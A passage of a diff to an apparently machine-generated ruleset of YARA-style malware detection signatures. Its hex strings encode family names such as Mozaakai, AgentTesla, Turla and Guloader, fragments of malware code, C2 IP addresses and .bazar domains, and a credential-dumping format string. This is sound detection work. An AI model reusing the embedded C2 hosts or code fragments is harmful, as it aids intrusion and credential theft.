54 42 00 14 00 24 03 0f be c9 33 ce 69 f1 93 01 00 01 8a 0b 43 84 c9 75 90 01 01 89 75 f8 81 7d f8 64 ec 5c a4 8b 75 ec } //21539 + $a_85_2 = {eb ff ff 30 84 0d 3d eb ff ff 41 83 f9 0e 72 90 01 01 8d 95 3d eb ff ff c6 85 4b eb ff ff 00 8d 8d 08 ff ff ff e8 90 01 04 ff b5 10 eb ff ff 56 8b 08 8b 51 04 8b 4c 02 14 81 e1 ff f9 ff ff 81 c9 00 08 00 00 89 4c 02 14 8b c8 90 00 05 00 2e 01 43 3a 5c 55 73 65 72 73 5c 6c 65 69 6c 61 5c 44 65 73 6b 74 6f 70 5c 6e 65 77 5c 73 56 59 5c 52 65 6c 65 61 73 65 5c 73 56 59 2e 70 64 62 00 00 78 dd 00 00 01 00 01 00 04 } //848 + condition: + ((#a_4c_0 & 1)*21539+(#a_85_2 & 1)*848) >=45 + +} +rule _InfrastructureShared_15726{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -169754,7 +181045,7 @@ rule _InfrastructureShared_14761{ ((#a_46_0 & 1)*16675+(#a_66_1 & 1)*25911+(#a_62_2 & 1)*11571+(#a_78_3 & 1)*25705) >=1 } -rule _InfrastructureShared_14762{ +rule _InfrastructureShared_15727{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -169765,7 +181056,7 @@ rule _InfrastructureShared_14762{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1499) >=2 } -rule _InfrastructureShared_14763{ +rule _InfrastructureShared_15728{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -169776,7 +181067,7 @@ rule _InfrastructureShared_14763{ ((#a_54_0 & 1)*18467+(#a_ba_1 & 1)*400) >=2 } -rule _InfrastructureShared_14764{ +rule _InfrastructureShared_15729{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -169787,7 +181078,18 @@ rule _InfrastructureShared_14764{ ((#a_4c_0 & 1)*21539+(#a_ff_1 & 1)*400) >=2 } -rule _InfrastructureShared_14765{ +rule _InfrastructureShared_15730{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 4d 61 69 6c 52 65 63 65 69 76 65 72 2e 41 00 01 00 42 01 41 00 63 00 63 00 65 00 73 00 73 00 54 00 6f 00 6b 00 65 00 6e 00 20 00 6d 00 61 00 79 00 62 00 65 00 20 00 75 00 6e 00 61 00 76 } //16675 + $a_00_2 = {62 00 6c 00 69 00 65 00 2e 00 0d 00 0a 00 01 00 44 01 4c 00 6f 00 67 00 69 00 6e 00 20 00 41 00 67 00 61 00 69 00 6e 00 2e 00 55 00 73 00 69 00 6e 00 67 00 20 00 63 00 6c 00 69 00 65 00 6e 00 74 00 73 00 65 00 63 00 72 00 65 00 74 00 2e 00 2e 00 0d 00 0a 00 01 00 20 01 5f 4d 61 69 6c 52 65 } //108 + condition: + ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*108) >=2 + +} +rule _InfrastructureShared_15731{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -169800,7 +181102,7 @@ rule _InfrastructureShared_14765{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*-5157+(#a_00_2 & 1)*120+(#a_2d_3 & 1)*2305) >=2 } -rule _InfrastructureShared_14766{ +rule _InfrastructureShared_15732{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -169812,7 +181114,7 @@ rule _InfrastructureShared_14766{ ((#a_46_0 & 1)*16675+(#a_2c_1 & 1)*116+(#a_3a_2 & 1)*12889) >=3 } -rule _InfrastructureShared_14767{ +rule _InfrastructureShared_15733{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -169824,7 +181126,7 @@ rule _InfrastructureShared_14767{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*2305+(#a_39_2 & 1)*12297) >=3 } -rule _InfrastructureShared_14768{ +rule _InfrastructureShared_15734{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -169837,7 +181139,7 @@ rule _InfrastructureShared_14768{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*25712+(#a_00_2 & 1)*45+(#a_00_3 & 1)*107) >=3 } -rule _InfrastructureShared_14769{ +rule _InfrastructureShared_15735{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -169850,20 +181152,33 @@ rule _InfrastructureShared_14769{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*111+(#a_00_2 & 1)*118+(#a_2c_3 & 1)*11370) >=4 } -rule _InfrastructureShared_14770{ +rule _InfrastructureShared_15736{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 53 6d 61 6c 6c 2e 4e 43 50 00 01 00 76 01 53 65 72 76 69 63 65 73 41 63 74 69 76 65 00 71 2c 77 2c 65 2c 72 2c 74 2c 79 2c 75 2c 69 2c 6f 2c 70 2c 61 2c 73 2c 64 2c 66 2c 67 2c } //18467 $a_2c_1 = {2c 6c 2c 7a 2c 78 2c 63 2c 76 2c 62 2c 6e 2c 6d 2c 51 2c 57 2c 45 2c 52 2c 54 2c 59 2c 55 2c 49 2c 4f 2c 50 2c 41 2c 53 2c 44 2c 46 2c 47 2c 48 2c 4a 2c 4b 2c 4c 2c 5a 2c 58 2c 43 2c 56 2c 42 2c 4e 2c 4d 01 00 0d 01 31 32 31 2e 31 32 2e 31 30 34 2e 32 39 01 00 0b 01 43 4f 4d 2b 20 53 79 73 74 65 6d 01 00 0f 01 77 72 } //11368 - $a_65_2 = {63 61 73 64 65 73 61 66 00 00 78 dd 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 4e 54 2f 54 75 72 6c 61 2e 44 21 64 68 61 00 01 00 0a 01 67 4c 41 53 73 20 44 31 63 4b 01 00 6c 01 5c 00 52 00 65 00 67 00 69 00 73 00 74 00 72 00 79 00 5c 00 4d 00 61 00 63 00 68 00 69 00 6e 00 65 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 } //26213 - $a_00_3 = {75 00 72 00 72 00 65 00 6e 00 74 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 53 00 65 00 74 00 5c 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 73 00 5c 00 25 00 53 00 01 00 10 01 25 75 2e 25 75 20 28 } //92 + $a_65_2 = {63 61 73 64 65 73 61 66 00 00 78 dd 00 00 04 00 04 00 04 00 21 23 53 4c 46 4c 3a 57 69 6e 36 34 2f 48 75 6e 74 69 6e 67 53 6e 61 6b 65 73 2e 46 00 01 00 19 03 48 89 c2 48 8b 85 90 01 04 48 89 c1 48 8b 05 90 01 04 ff d0 48 89 85 90 00 01 00 23 03 48 8b 85 00 06 00 00 8b 95 78 02 00 00 41 89 d0 ba 90 01 04 b9 90 01 04 ff d0 48 89 85 f0 05 00 00 90 00 01 00 } //26213 + $a_89_3 = {44 89 c0 89 c0 48 01 c8 0f b6 08 48 8b 95 a8 03 00 00 8b 85 3c 06 00 00 48 01 d0 44 89 ca 31 ca 88 10 01 00 47 03 4c 8b 95 d8 05 00 00 48 8b 95 e8 05 00 00 48 8b 85 f0 05 00 00 48 c7 44 24 30 90 } //293 condition: - ((#a_54_0 & 1)*18467+(#a_2c_1 & 1)*11368+(#a_65_2 & 1)*26213+(#a_00_3 & 1)*92) >=4 + ((#a_54_0 & 1)*18467+(#a_2c_1 & 1)*11368+(#a_65_2 & 1)*26213+(#a_89_3 & 1)*293) >=4 } -rule _InfrastructureShared_14771{ +rule _InfrastructureShared_15737{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {3a 57 69 6e 36 34 2f 48 75 6e 74 69 6e 67 53 6e 61 6b 65 73 2e 46 00 01 00 19 03 48 89 c2 48 8b 85 90 01 04 48 89 c1 48 8b 05 90 01 04 ff d0 48 89 85 90 00 01 00 23 03 48 8b 85 00 06 00 00 8b 95 78 02 00 00 41 89 d0 ba 90 01 04 } //21283 + $a_04_1 = {ff } //-28487 + $a_85_2 = {05 00 00 90 00 01 00 25 01 41 89 d0 44 89 c0 89 c0 48 01 c8 0f b6 08 48 8b 95 a8 03 00 00 8b 85 3c 06 00 00 48 01 d0 44 89 ca 31 ca 88 10 01 00 47 03 4c 8b 95 d8 05 00 00 48 8b 95 e8 05 00 00 48 8b 85 f0 05 00 00 48 c7 44 24 30 90 01 04 c7 44 24 28 90 01 04 48 c7 44 24 20 90 01 04 49 89 d1 41 b8 90 01 04 ba 90 01 04 48 89 c1 41 ff d2 48 89 85 c8 05 00 00 90 00 00 00 78 dd 00 00 04 00 04 00 04 00 21 23 54 45 } //18640 + $a_61_3 = {6b 64 6f 6f 72 3a 57 69 6e 4e 54 2f 54 75 72 6c 61 2e 44 21 64 68 61 00 01 00 0a 01 67 4c 41 53 73 20 44 31 63 4b 01 00 6c 01 5c 00 52 00 65 00 67 00 69 00 73 00 74 00 72 00 79 00 5c 00 4d 00 61 00 } //14924 + condition: + ((#a_46_0 & 1)*21283+(#a_04_1 & 1)*-28487+(#a_85_2 & 1)*18640+(#a_61_3 & 1)*14924) >=4 + +} +rule _InfrastructureShared_15738{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -169876,7 +181191,7 @@ rule _InfrastructureShared_14771{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*99+(#a_00_2 & 1)*102+(#a_65_3 & 1)*27731) >=4 } -rule _InfrastructureShared_14772{ +rule _InfrastructureShared_15739{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -169885,13 +181200,24 @@ rule _InfrastructureShared_14772{ $a_5c_1 = {77 64 2e 64 69 63 20 35 30 01 00 10 01 3b 44 41 54 41 42 41 53 45 3d 6d 61 73 74 65 72 01 00 1b 01 44 52 49 56 45 52 3d 7b 53 51 4c 20 53 65 72 76 65 72 7d 3b 53 45 52 56 45 } //25376 摷搮捩㔠İက㬁䅄䅔䅂䕓洽獡整Ųᬀ䐁䥒䕖㵒卻䱑匠牥敶絲医剅䕖 $a_00_2 = {29 } //15698 ) $a_25_3 = {20 53 51 4c 20 53 65 72 76 65 72 20 55 73 65 72 20 5b 25 73 5d 20 70 61 73 73 77 64 20 69 73 20 5b } //29441 SQL Server User [%s] passwd is [ - $a_2e_4 = {00 78 dd 00 00 05 00 05 00 05 00 21 23 41 6c 6c 6f 77 4c 69 73 74 3a 4d 53 49 50 2e 4f 66 66 69 63 65 00 01 00 3f 80 01 41 75 74 68 44 65 6c 65 67 61 74 65 5f 41 63 71 75 69 72 65 4f 41 75 74 68 32 54 6f 6b 65 6e 53 77 69 67 45 78 70 6c 69 63 69 74 41 75 74 68 44 65 6c 65 67 61 } //29477 - $a_5f_5 = {57 49 47 5f 30 01 00 1c 80 01 41 64 68 6f 63 50 72 6f 74 65 63 74 69 6f 6e 52 65 71 75 69 72 65 64 45 72 72 6f 72 01 00 17 80 01 58 6d 6c 44 6f 63 75 6d 65 6e 74 5f 53 65 6c 65 63 74 4e 6f 64 65 73 01 00 14 80 01 53 74 72 69 6e 67 4c 69 73 74 44 69 63 74 69 6f 6e 61 72 79 01 00 1e 80 } //25972 + $a_2e_4 = {00 78 dd 00 00 05 00 05 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 75 73 79 2e 4e 49 54 21 4d 54 42 00 03 00 39 03 28 03 00 00 06 3a 1e 00 00 00 28 90 01 01 00 00 06 3a 14 00 00 00 28 90 01 01 00 00 06 3a 0a 00 00 00 28 90 01 01 00 00 06 39 06 00 00 00 16 } //29477 + $a_01_5 = {01 } //-28632 condition: - ((#a_63_0 & 1)*18467+(#a_5c_1 & 1)*25376+(#a_00_2 & 1)*15698+(#a_25_3 & 1)*29441+(#a_2e_4 & 1)*29477+(#a_5f_5 & 1)*25972) >=4 + ((#a_63_0 & 1)*18467+(#a_5c_1 & 1)*25376+(#a_00_2 & 1)*15698+(#a_25_3 & 1)*29441+(#a_2e_4 & 1)*29477+(#a_01_5 & 1)*-28632) >=4 } -rule _InfrastructureShared_14773{ +rule _InfrastructureShared_15740{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 75 73 79 2e 4e 49 54 21 4d 54 42 00 03 00 39 03 28 03 00 00 06 3a 1e 00 00 00 28 90 01 01 00 00 06 3a 14 00 00 00 28 90 01 01 00 00 06 3a 0a 00 00 00 28 90 01 01 00 00 06 39 06 00 00 00 16 } //21283 + $a_01_1 = {01 } //-28632 + condition: + ((#a_46_0 & 1)*21283+(#a_01_1 & 1)*-28632) >=5 + +} +rule _InfrastructureShared_15741{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -169905,7 +181231,7 @@ rule _InfrastructureShared_14773{ ((#a_6c_0 & 1)*16675+(#a_72_1 & 1)*30065+(#a_48_2 & 1)*8448+(#a_01_3 & 1)*1+(#a_81_4 & 1)*1) >=5 } -rule _InfrastructureShared_14774{ +rule _InfrastructureShared_15742{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -169917,7 +181243,20 @@ rule _InfrastructureShared_14774{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*0+(#a_65_4 & 1)*385) >=5 } -rule _InfrastructureShared_14775{ +rule _InfrastructureShared_15743{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4d 50 30 31 21 4d 54 42 00 01 00 22 81 01 73 74 72 67 65 6e 20 61 6e 73 74 74 65 6c 73 65 73 61 66 74 61 6c 65 20 63 69 76 69 6c 6b 6c 64 74 65 01 00 1f 81 01 76 65 72 62 61 6c 73 75 62 73 74 61 6e } //18467 + $a_20_1 = {65 6a 6c 6c 73 6e 69 6e 67 65 72 6e 65 01 00 22 81 01 72 61 61 73 74 6f 66 65 66 74 65 72 73 67 6e 69 6e 67 65 72 6e 65 20 72 61 6e 6b 65 72 73 2e 65 78 65 01 00 21 81 01 74 75 73 69 6e 64 66 72 79 64 65 6e 20 68 79 6c 64 65 73 74 65 72 6e 65 20 75 6e 73 70 72 65 61 64 01 00 18 81 01 65 6d 65 6c 79 73 20 6f 76 65 72 66 6c 6f 6f 64 20 72 6f 6d 61 75 6e } //26996 + $a_00_3 = {05 00 05 00 21 } //0 + $a_54_4 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 53 53 4f 31 32 33 21 4d 54 42 00 01 00 28 81 01 64 65 74 61 63 68 20 66 6f 72 75 72 65 6e 69 6e 67 73 66 6f 72 65 62 79 67 67 65 20 6e 79 68 65 64 73 62 72 65 76 65 73 01 00 1e 81 01 6e 64 72 69 6e } //18467 + condition: + ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*26996+(#a_00_3 & 1)*0+(#a_54_4 & 1)*18467) >=5 + +} +rule _InfrastructureShared_15744{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -169931,7 +181270,7 @@ rule _InfrastructureShared_14775{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*29543+(#a_00_2 & 1)*25970+(#a_70_3 & 1)*29264+(#a_00_4 & 1)*5) >=5 } -rule _InfrastructureShared_14776{ +rule _InfrastructureShared_15745{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -169941,29 +181280,41 @@ rule _InfrastructureShared_14776{ $a_00_2 = {28 } //29541 ( $a_68_3 = {56 69 65 77 6e 64 6f 77 2e 46 6f 72 6d 73 2e 53 65 74 74 69 6e 67 73 46 6f 72 6d 2e 72 65 73 6f 75 72 63 65 73 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 } //384 $a_00_4 = {00 05 00 05 00 07 00 21 23 54 45 4c 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 4d 6f 7a 61 61 6b 61 69 2e 42 21 4d 54 42 00 01 00 1a 80 01 68 74 74 70 73 3a 2f 2f 31 37 39 2e 34 33 2e 31 33 34 2e 31 36 34 3a 34 34 33 01 00 1a 80 01 68 74 74 70 73 3a 2f 2f 31 38 35 2e 31 31 38 2e 31 36 37 2e 31 38 39 3a 34 34 01 00 19 80 01 68 74 74 70 73 3a 2f 2f 32 33 2e 39 35 2e 32 33 38 2e 31 32 32 3a 34 34 33 01 00 10 80 01 77 6f 72 6b 72 65 70 61 69 72 2e 62 61 7a 61 72 01 00 0e 80 01 72 65 61 6c 66 69 73 68 2e 62 61 7a 61 72 01 00 10 80 01 65 76 65 6e 74 6d 6f 75 6c 74 2e 62 61 7a 61 72 01 00 13 80 01 79 6f 75 6e 69 6b 61 2d 68 61 79 64 65 2e 62 61 7a 61 72 00 } //30720 - $a_00_5 = {00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 51 31 38 21 4d 54 42 00 01 00 30 81 01 5a 57 4d 32 4d 7a 4a 6d 5a 44 6b 74 4d 54 59 35 4e 43 30 30 5a 6a 52 68 4c 54 6c 69 5a 6d 59 74 5a 6a 49 77 4e 6a 41 77 5a 54 4d 33 4f 54 67 78 01 00 0f 81 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 01 00 13 81 01 54 72 61 6e 73 66 6f 72 6d 46 69 6e 61 6c 42 6c 6f 63 6b 01 00 25 81 01 66 64 73 66 66 66 66 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 64 66 66 73 64 66 01 00 0e 81 01 61 64 73 73 73 73 73 73 73 73 73 73 73 61 01 00 09 81 01 42 6c 6f 63 6b 43 6f 70 79 00 } //30720 - $a_00_6 = {00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 52 41 32 33 31 31 21 4d 54 42 00 01 00 13 01 49 6e 69 74 69 61 6c 69 7a 65 43 6f 6d 70 6f 6e 65 6e 74 01 00 0c 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 01 00 18 00 54 00 30 00 6f 00 30 00 57 00 69 00 30 00 6e 00 30 00 33 00 30 00 32 00 01 00 10 00 4c 00 30 00 6f 00 30 00 61 00 30 00 64 00 30 00 01 00 0c 00 61 00 70 00 44 00 65 00 74 00 65 00 01 00 40 01 43 41 39 46 35 33 33 46 45 46 31 38 46 39 33 30 33 31 31 37 39 39 32 30 32 37 46 38 39 38 33 36 32 37 45 39 36 37 38 45 39 36 42 32 32 43 38 33 37 46 45 30 37 43 38 30 37 31 46 37 31 42 38 37 00 } //30720 + $a_00_5 = {00 06 00 06 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 54 65 64 79 2e 4e 4d 41 21 4d 54 42 00 02 00 2d 01 48 83 ec 48 45 33 c9 4c 8d 05 72 21 00 00 48 8d 15 6b 21 00 00 33 c9 ff 15 bb 1e 00 00 33 c9 ff 15 1b 1e 00 00 48 8b d0 48 8d 4c 24 20 01 00 25 01 48 83 ec 50 48 8b 05 90 3d 00 00 48 33 c4 48 89 44 24 48 4c 8b c2 48 89 4c 24 28 48 8b d9 4c 8d 74 24 45 33 ff 01 00 3e 01 44 3a 5c 76 66 73 5c 50 72 6f 6a 65 6b 74 65 5c 4c 6f 61 64 65 72 5f 4e 6f 43 52 54 5f 78 36 34 5c 62 75 69 6c 64 5c 78 36 34 5c 52 65 6c 65 61 73 65 5c 54 65 73 74 45 78 65 2e 70 64 62 01 00 0b 01 4d 65 73 73 61 67 65 42 6f 78 41 01 00 06 01 41 74 74 61 63 68 00 } //30720 + $a_00_6 = {00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 51 31 38 21 4d 54 42 00 01 00 30 81 01 5a 57 4d 32 4d 7a 4a 6d 5a 44 6b 74 4d 54 59 35 4e 43 30 30 5a 6a 52 68 4c 54 6c 69 5a 6d 59 74 5a 6a 49 77 4e 6a 41 77 5a 54 4d 33 4f 54 67 78 01 00 0f 81 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 01 00 13 81 01 54 72 61 6e 73 66 6f 72 6d 46 69 6e 61 6c 42 6c 6f 63 6b 01 00 25 81 01 66 64 73 66 66 66 66 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 64 66 66 73 64 66 01 00 0e 81 01 61 64 73 73 73 73 73 73 73 73 73 73 73 61 01 00 09 81 01 42 6c 6f 63 6b 43 6f 70 79 00 } //30720 condition: ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*30575+(#a_00_2 & 1)*29541+(#a_68_3 & 1)*384+(#a_00_4 & 1)*30720+(#a_00_5 & 1)*30720+(#a_00_6 & 1)*30720) >=5 } -rule _InfrastructureShared_14777{ +rule _InfrastructureShared_15746{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " strings : $a_4c_0 = {42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 4d 6f 7a 61 61 6b 61 69 2e 42 21 4d 54 42 00 01 00 1a 80 01 68 74 74 70 73 3a 2f 2f 31 37 39 2e 34 33 2e 31 33 34 2e 31 36 34 3a 34 34 33 01 00 1a 80 01 68 74 74 } //21539 $a_2f_1 = {31 38 35 2e 31 31 38 2e 31 36 37 2e 31 38 39 3a 34 34 01 00 19 80 01 68 74 74 70 73 3a 2f 2f 32 33 2e 39 35 2e 32 33 38 2e 31 32 32 3a 34 34 33 01 00 10 80 01 77 6f 72 6b 72 } //29552 - $a_69_2 = {2e 62 61 7a 61 72 01 00 0e 80 01 72 65 61 6c 66 69 73 68 2e 62 61 7a 61 72 01 00 10 80 01 65 76 65 6e 74 6d 6f 75 6c 74 2e 62 61 7a 61 72 01 00 13 80 01 79 6f 75 6e 69 6b 61 2d 68 61 79 64 65 2e 62 61 7a 61 72 00 00 78 dd 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d } //28773 - $a_2f_3 = {67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 51 31 38 21 4d 54 42 00 01 00 30 81 01 5a 57 4d 32 4d 7a 4a 6d 5a 44 6b 74 4d 54 59 35 4e 43 30 30 5a 6a 52 68 4c 54 6c 69 5a 6d 59 74 5a 6a 49 77 4e 6a 41 77 5a 54 4d 33 4f 54 67 78 01 00 } //18771 - $a_43_4 = {65 } //-32497 e - $a_44_5 = {63 72 79 70 74 6f 72 01 00 13 81 01 54 72 61 6e 73 66 6f 72 6d 46 69 6e 61 6c 42 6c 6f 63 6b 01 00 25 81 01 66 64 73 66 66 66 66 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 64 66 66 73 64 66 01 00 0e 81 01 61 64 73 73 73 73 73 73 73 73 73 73 73 61 01 00 09 81 01 42 6c 6f 63 } //29793 - $a_70_6 = {00 00 78 dd 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 52 41 32 33 31 31 21 4d 54 42 00 01 00 13 01 49 6e 69 74 69 61 6c 69 7a 65 43 6f 6d 70 6f 6e 65 6e 74 01 00 0c 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 01 00 18 00 54 00 30 00 6f 00 30 00 57 00 69 00 30 00 } //17259 + $a_69_2 = {2e 62 61 7a 61 72 01 00 0e 80 01 72 65 61 6c 66 69 73 68 2e 62 61 7a 61 72 01 00 10 80 01 65 76 65 6e 74 6d 6f 75 6c 74 2e 62 61 7a 61 72 01 00 13 80 01 79 6f 75 6e 69 6b 61 2d 68 61 79 64 65 2e 62 61 7a 61 72 00 00 78 dd 00 00 06 00 06 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 } //28773 + $a_2f_3 = {65 64 79 2e 4e 4d 41 21 4d 54 42 00 02 00 2d 01 48 83 ec 48 45 33 c9 4c 8d 05 72 21 00 00 48 8d 15 6b 21 00 00 33 c9 ff 15 bb 1e 00 00 33 c9 ff 15 1b 1e 00 } //13934 + $a_d0_4 = {8d 4c 24 20 01 00 25 01 48 83 ec 50 48 8b 05 90 3d 00 00 48 33 c4 48 89 44 24 48 4c 8b c2 48 89 4c 24 28 48 8b d9 4c 8d 74 24 45 33 ff 01 00 3e 01 44 3a 5c 76 66 73 5c 50 72 6f 6a 65 6b 74 65 5c 4c 6f 61 64 65 72 5f 4e 6f 43 52 54 5f 78 36 34 5c 62 75 69 6c 64 5c 78 36 34 5c 52 65 6c 65 61 73 65 5c 54 65 73 74 45 78 65 2e 70 64 62 01 00 0b 01 4d 65 73 73 61 67 65 42 6f 78 41 01 00 06 01 41 74 74 61 63 68 00 00 78 } //18432 condition: - ((#a_4c_0 & 1)*21539+(#a_2f_1 & 1)*29552+(#a_69_2 & 1)*28773+(#a_2f_3 & 1)*18771+(#a_43_4 & 1)*-32497+(#a_44_5 & 1)*29793+(#a_70_6 & 1)*17259) >=5 + ((#a_4c_0 & 1)*21539+(#a_2f_1 & 1)*29552+(#a_69_2 & 1)*28773+(#a_2f_3 & 1)*13934+(#a_d0_4 & 1)*18432) >=5 } -rule _InfrastructureShared_14778{ +rule _InfrastructureShared_15747{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 54 65 64 79 2e 4e 4d 41 21 4d 54 42 00 02 00 2d 01 48 83 ec 48 45 33 c9 4c 8d 05 72 21 00 00 48 8d 15 6b 21 00 00 33 c9 ff 15 bb 1e 00 00 33 c9 ff 15 1b 1e 00 00 48 8b d0 48 8d 4c 24 20 01 } //16675 + $a_48_1 = {ec } //9472 + $a_05_2 = {90 3d 00 00 48 33 c4 48 89 44 24 48 4c 8b c2 48 89 4c 24 28 48 8b d9 4c 8d 74 24 45 33 ff 01 00 3e 01 44 3a 5c 76 66 73 5c 50 72 6f 6a 65 6b 74 65 5c 4c 6f 61 64 65 72 5f 4e 6f 43 52 54 5f 78 36 34 5c 62 75 69 6c 64 5c 78 36 34 5c 52 65 6c 65 61 73 65 5c 54 65 73 74 45 78 65 2e 70 64 62 01 00 0b 01 4d 65 73 73 61 67 65 42 6f 78 41 01 00 06 01 41 74 74 61 63 68 00 00 78 dd 00 00 06 00 06 00 06 00 21 23 48 53 54 52 } //18512 + $a_6f_3 = {61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 51 31 38 21 4d 54 42 00 01 00 30 81 01 5a 57 4d 32 4d 7a 4a 6d 5a 44 6b 74 4d 54 59 35 4e 43 30 30 5a 6a 52 68 4c 54 6c 69 5a 6d 59 74 5a 6a 49 77 4e 6a 41 77 5a 54 4d 33 4f 54 67 78 01 00 0f 81 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 01 00 13 81 01 54 72 61 6e 73 66 } //21562 + $a_46_4 = {6e 61 6c 42 6c 6f 63 6b 01 00 25 81 01 66 64 73 66 66 66 66 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 64 66 66 73 64 66 01 00 0e 81 01 61 64 73 73 73 73 73 73 73 73 73 73 73 61 01 00 09 81 01 42 6c 6f 63 6b 43 6f 70 79 00 00 78 dd 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a } //29295 + condition: + ((#a_46_0 & 1)*16675+(#a_48_1 & 1)*9472+(#a_05_2 & 1)*18512+(#a_6f_3 & 1)*21562+(#a_46_4 & 1)*29295) >=6 + +} +rule _InfrastructureShared_15748{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -169978,7 +181329,7 @@ rule _InfrastructureShared_14778{ ((#a_54_0 & 1)*18467+(#a_67_1 & 